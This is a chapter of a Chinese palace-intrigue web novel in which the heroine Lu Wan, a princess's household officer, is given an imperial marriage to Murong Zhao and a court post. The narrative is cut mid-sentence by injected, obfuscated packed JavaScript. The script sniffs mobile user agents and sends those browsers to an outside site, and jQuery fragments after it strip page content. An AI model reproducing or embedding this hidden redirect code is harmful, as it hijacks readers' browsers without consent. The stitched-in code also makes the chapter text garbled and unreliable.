2. 赐婚
作品:《黑莲花她权倾朝野》 明华公主虽未出嫁,却在城西有单独的府邸。侯府冷清无人,陆绾身为公主府女官,总管府内暗探,因而常住在公主府内。
夜里刚落过一场雨,晨起还有些凉意。点翠仍未查到新的消息,陆绾披上外衫,照例先去书房办公。
二十年前,东宫太子圭与太子妃谢氏双双于夜间突发恶疾,五岁的女儿熊焕因在灵虚观修行躲过一劫。东宫上下因此皆被处置,此事也成了不可说的秘案。
近几日,暗探却查到昔日东宫宫女沐风的下落。
若情报无误,沐风当还活着。其家人一夜发迹,改名换姓做了富商;而沐风本人,据说被家人卖入了京城最大的花楼——紫霞楼。
“明月,可是又有新的消息?”
陆绾本在整理手头的暗探公文,闻声抬眸。
来者正是明华公主。公主与陆绾自幼一处长大,情同姐妹,彼此以小字相称,更不管那些繁文缛节,大步直入陆绾书房。
公主生得龙睛凤目,随了太子圭的一张阔面,不笑时威仪棣棣,笑起来则是爽朗明快。
陆绾将沐风的消息一一禀明。
公主沉思片刻,道:“沐风姑娘我有印象,我小时候她经常抱我。在我印象里,她的本性应是不坏的,若能找到她,说不定能问出些什么。”
陆绾见公主已翻起案几上批好的奏文,便搁了朱笔,道:“东宫旧案里,最大的突破点本应是侯府遇刺案。当年除了我之外,全府上下无一幸存,不可能一点痕迹也没有。”
“但偏偏就是没有。”公主道,“刺客全部爆体而亡,查不到身份更查不到亲眷。所以,我们只能先从其他东宫旧部的下落入手。”
“其实,我有时候异想天开,要是能拿到大理寺东宫案和侯府案的秘密卷宗就好了。可惜大理寺没有我们的人,也根本插不进。”陆绾叹道,“罢了,就当我是痴人说梦。”
公主握住陆绾的手,宽慰道:“明月,我们总会查到的。我不信,来日若我登上皇位,还能有什么事是我查不出来的。”
陆绾忙道:“明华姐姐,这话在姐妹间说说倒也无妨,只是最近恐怕要收敛锋芒。西城区流传的新童谣我疑是有人想使挑拨离间之计。若是大业未竟就先被扣上了谋逆的帽子,便被动多了。”
公主目前对外的野心只是谋权,谋权与谋逆一字之别却差之千里。
公主道:“放心,我有分寸。我知你派了人暗中去查这童谣的来头。不过我估计,想找到实际的证据怕是难如登天。”
话虽如此说,两人心中都隐隐有些猜测。激化公主与太子之间的矛盾,给公主扣上谋逆的帽子。能在此事中获利的人可不多。
两人想到同一个名字,正要异口同声地说出来,门外忽来一人相报,说宫里来了人,要陆绾出去接旨。
陆绾心中惊奇,匆忙间与公主对视一眼,放下手中奏文快步迎出去接旨。
送旨的是天子身边的冯内侍。冯内侍夹着尖细的嗓音抑扬顿挫地念了一大段,总结起来就是——燕王世子慕容昭倾慕她陆绾许久,陛下被其深情打动,降旨赐婚。
公主听得眉头紧锁。陆绾深吸一口气,确认自己确实是醒着,上前将圣旨接了。
冯内侍冷哼一声,顺带踢了门槛一脚,又道:“天子召你进宫,有事相商。”
天子没有约在正厅,而是在御花园的湖心亭处等候。
说是湖,其实不过是个莲花池。莲花未开,天子正捋着胡须凭栏赏看对岸亭亭的白玉兰。
陆绾跪下行礼,秋色绫裙外珍珠色的大袖长衫在地上散开下摆,上面玉兰花瓣的绣纹栩栩如生。
天子上前几步,搀起陆绾。
“绾儿长得真像你母亲,这些年可是出落得越发水灵了。”天子年近半百,一张阔面脸倒是和那尖脸的殷皇后养出了夫妻相,也是令人惊奇。
陆绾恭谨行礼。
天子望着陆绾,很是琢磨了一番该如何开口,最后温和道:“燕王世子、现大理寺少卿慕容昭,昨日求朕为他说媒。慕容世子自称三年前对你一见钟情,暗中恋慕许久,朕想问问你的意思。”
陆绾垂首,摩挲一番指尖。
这圣旨都已经下了,还问什么她的意思。
燕王独子,太子伴读。陆绾身为公主府女官,自然与他私下不相熟。
陆绾抬头迎向天子审视的目光,波澜不惊道:“三年前,慕容世子在灵虚观救过臣女一命,臣女自是感激不尽。至于婚事,当听从父母之命。臣女失怙失恃,是陛下收留臣女于宫中,交由太后躬亲教养。陛下于臣女犹如养父,臣女的婚事依陛下的意思来便好。”
天子的笑容本就真不到哪里去,听了这番废话,愈发皮笑肉不笑,两只眼睛死死锁在她身上,道:“朕不爱听这些场面话。只要你一句,可还是不可。”
陆绾横下心道:“于臣女而言,无可无不可。”
天子盯着她半晌,忽然笑了两声:“好一个无可无不可。”
陆绾没接话,只听天子又道:“我知你志不在闺帷,朕替你允了这婚事,你莫要记恨于朕。朕给你在大理寺挂个职位可好?”
陆绾忙道:“臣女谢陛下圣恩,何来记恨一说?”
大楚求官不易,需有人引荐方能步入仕途。因而世家大族多养幕僚。女子虽可读书习武,却多为幕僚,未曾见哪位女子真的做了朝中女官。
公主本有意举荐陆绾,做这大楚第一位朝中女官。可公主身陷权力漩涡正中心,实在不适合出这个风头。
陛下愿意给朝中官职,那自然是要的。只是不能直接去大理寺——若是真去成了,恐怕那些陈年卷宗就要彻底被销毁了。百花宴在即,挑一个方便在各部走动的小职位便好。
陆绾坦然道:“陛下愿意抬举,臣女感激不尽。只不过,百花宴在即,礼部事务繁杂,朝中上下为此操劳。臣女前去光禄寺挂职,恐更能为陛下分忧。”
天子脸上的褶皱终于舒展开来:“想要几品?朕明日就拟旨。”
陆绾不卑不亢道:“步履踏实,方能服人。典簿便可。再往上,恐登高跌重。”
天子点头道:“圣旨朕明日会拟好。至于具体婚期,你们自己商议着定。你的外祖管晁曾身
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385970|200254||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
居相位,今日看来,你日后恐怕也是将相之材。”
陆绾忙道:“臣女不敢当。”
天子又客套了几句,托陆绾代他去太极殿的太后那请安,终于放人离开。
五日后,陆绾如愿出任光禄寺典簿。
三月的京城空气里混杂着各式花香,呼吸都带着些许甜味。陆绾穿着浅绿色官袍,坐在前往公廨的马车内,心情一片明朗。
急促的马蹄声打破了清晨的宁静,一匹赤色血汗马嘶鸣着横在车前。
陆绾正欲掀帘,只听车外随行的侍女丹砂厉声道:“不知世子拦停典簿上值的马车有何贵干?”
陆绾伸出去的手僵在了半空。
“陆典簿上任第一天,未婚夫君送你一程,不算扰人清梦吧?”
话音刚落,车帘哗地一声被刀柄挑开。
慕容昭一手攥住缰绳,一手反握刀鞘,倾身向马车探来。
一袭朱红缺胯袍,头戴赤金血玉冠。眉骨被晨晖照亮,在眼睫处投下一小片阴影。似是唇角含笑,眼底情绪又不似欢喜。
陆绾定了定神,瞟了一眼门边的刀柄,语气平淡道:“百花宴在即,光禄寺事务冗杂,陆某不似阁下清闲。有什么话尽快说,就不劳烦相送了。”
慕容昭闻言也不恼,只道:“不知公主府可有收到聘礼与庚帖?”
原来是这个,陆绾这几日光惦记着新官上任,竟忘记给燕王府回帖了。
“我今日下值便来回帖。至于婚礼,选百花宴后的第一个吉日便可。”陆绾稍感惭愧,觉着面子上有些挂不住,在车内轻轻扯了把帘子。谁知慕容昭的刀柄又伸进来几分,将那帘子撑住。
“世子还有何事?”
陆绾正欲听他回话,慕容昭迟迟不语,神色间竟有几分犹豫和歉意。
陆绾心下忽然明了。
燕王早在风头最盛时自放边疆,也从未听说其子摆过什么世家大族的做派。
天子不过问她的意思便下旨赐婚,只怕也不是慕容世子的意思。
天子下了旨,召她进了宫,她也同意了这门婚事。可这三件事的先后却大有问题。慕容昭恐怕也猜到了,想解释询问,却有些无力。
看来天子反倒是最急着促成婚事之人。
婚约是推不掉了,与其道明事实,不如就此卖世子一个人情。
陆绾笑道:“世子宽心,我应允婚约是出于自愿,上任光禄寺典簿一职亦是如此。”
话音刚落,慕容昭似乎是笑了。陆绾还未看分明,却见红帘布盖头一样落下,与此同时,一个温热的油纸包落入怀中。
“大胆!你往车内扔了什么?”丹砂拔剑出鞘。
“何必这么紧张?”慕容昭的声音隔着帘布传来,比方才轻快了许多,“糕点而已。”
“丹砂,不得无礼。”陆绾劝道。
陆绾打开怀中的油纸包,里面是几块热乎的红糖米糕。五瓣梅形的,是她爱吃的那家西市米糕店专用的模具。
她爱吃的东西,慕容世子又是从何得知?
恍神之际,慕容昭轻笑一声策马远去。

